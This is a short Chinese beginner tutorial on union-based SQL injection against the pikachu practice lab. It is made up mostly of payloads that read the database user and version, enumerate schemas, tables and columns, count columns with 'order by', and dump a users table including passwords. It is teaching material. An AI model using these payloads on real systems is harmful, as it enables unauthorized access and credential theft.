【新手入门】SQL注入之数据库数据读取

数据库数据读取

获取当前数据库名、用户名、版本等信息

'union select user(),version()--+

获取mysql所有库名

'union select 1,group_concat(schema_name)from information_schema.schemata+--+

获取所有字段数据

比如获取users表的所有数据指令:

'union select 1,group_concat(id,0x7c,username,0x7c,passmord,0x7c,leve1,0x7c)from users+--+

判断查询的字段个数order by

order by 1,2,3--+

报错,表示字段个数小于3个,那么减少一个字段来尝试

order by 1,2--+

不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试

获取pikachu库的所有表名

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

获取表中的字段名

'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+, 

你可能感兴趣的:(sql,数据库,web安全,前端)